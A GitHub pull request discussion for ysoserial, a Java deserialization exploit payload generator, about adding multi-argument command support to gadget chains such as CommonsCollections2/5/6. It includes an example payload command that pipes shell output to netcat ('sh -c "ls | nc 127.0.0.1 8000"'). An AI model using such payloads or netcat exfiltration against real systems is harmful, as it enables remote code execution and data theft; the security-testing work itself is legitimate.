Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add arguments support for many payloads #72

Merged
merged 9 commits into from
Sep 23, 2017

Conversation

ugomeda
Copy link

@ugomeda ugomeda commented Sep 7, 2017

This merge requests adds the support for multiple arguments.

It is currently impossible to use operators like <, > or | since ysoserial uses java.lang.Runtime.exec(String command) which splits a command with spaces.
A command such as sh -c "ls | nc 127.0.0.1 8000" is interpreted as ["sh", "-c", "\"ls", "|", "nc" "127.0.0.1", "8000"].

This merge request modifies the way the arguments are passed to exec by adding the arguments parameter.

It is now possible to call ysoserial this way :

java -jar ysoserial.jar CommonsCollections2 "sh" "-c" "ls | nc 127.0.0.1 8000"

This will generate a working payload. I also took the liberty of using StringEscapeUtils to escape the command in ysoserial.payloads.util.Gadgets.

Please let me know if i should cleanup some stuff if you want to accept the pull request.

@ugomeda
Copy link
Author

ugomeda commented Sep 8, 2017

This issue is related to #71

@frohoff
Copy link
Owner

frohoff commented Sep 11, 2017

Thanks for the PR. This is good stuff. A couple comments:

  • I've generally tried to minimize the use of library functions (like org.apache.commons stuff) for "utility" purposes to avoid the possibility of weird issues coming up with gadget chain generation, serialization, or deserialization, since these libraries may or may not be used in some of the gadget chains, and may or may not be on the classpath due to intentional isolation and/or version overrides (See Option(s) to override dependency versions during payload generation #8 & Support dependency isolation and/or conflicting versions #10). Can we just implement some small helper functions internal to the project to do things like this (a la ysoserial.Strings)?
  • Ideally this would be consistently applied to all system command exec gadget chains unless there's a reason not to and I believe at least the following ones may be missing:
    • MyFaces1
    • Groovy1
    • Clojure1
    • CommonsCollections5/6
  • If you are changing the escaping of strings system payload generation, please make sure you are testing on both *nix and windows platforms with full paths to ensure nothing is broken. In the future I hope CI will catch this but until that can relied upon we need to be extra careful.

@ugomeda
Copy link
Author

ugomeda commented Sep 12, 2017

Thanks for the feedback.

  • I updated the PR to remove the dependencies on the 2 apache commons libraries i added, using ysoserial.String for the join, and by copying code to escape Java from StringUtils to the ysoserial.escape package.
  • I will add support for CommonsCollections5 and CommonsCollections6 (seems straightforward) but it's not obvious to me how to implement this for the other ones. It might be possible to implement for Closure but it's a syntax i don't know very much.
  • The escaping I updated is on the Java language, not the command itself so it should be platform-independent. I don't have a Windows machine to test this, i only tested with the commons:collection:4.0.0 payloads so far on Linux machines.

@ugomeda
Copy link
Author

ugomeda commented Sep 17, 2017

I added support for CommonsCollections5/6.

Please note i created an abstract class (ExtendedObjectPayload) to keep backward compatibility on the API, but I had to remove the extend on PayloadRunner for several classes. This class only has static functions and is marked as unused so i figured out it wasn't a problem.

@frohoff frohoff changed the base branch from master to multiarg September 23, 2017 22:44
@frohoff frohoff merged commit 2ebc617 into frohoff:multiarg Sep 23, 2017
@frohoff
Copy link
Owner

frohoff commented Sep 23, 2017

Thanks. Merged into multiargs branch to fix some broken tests and expand support to other payloads.

@frohoff
Copy link
Owner

frohoff commented Sep 23, 2017

Will keep building on this under PR #74. Thanks again.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

2 participants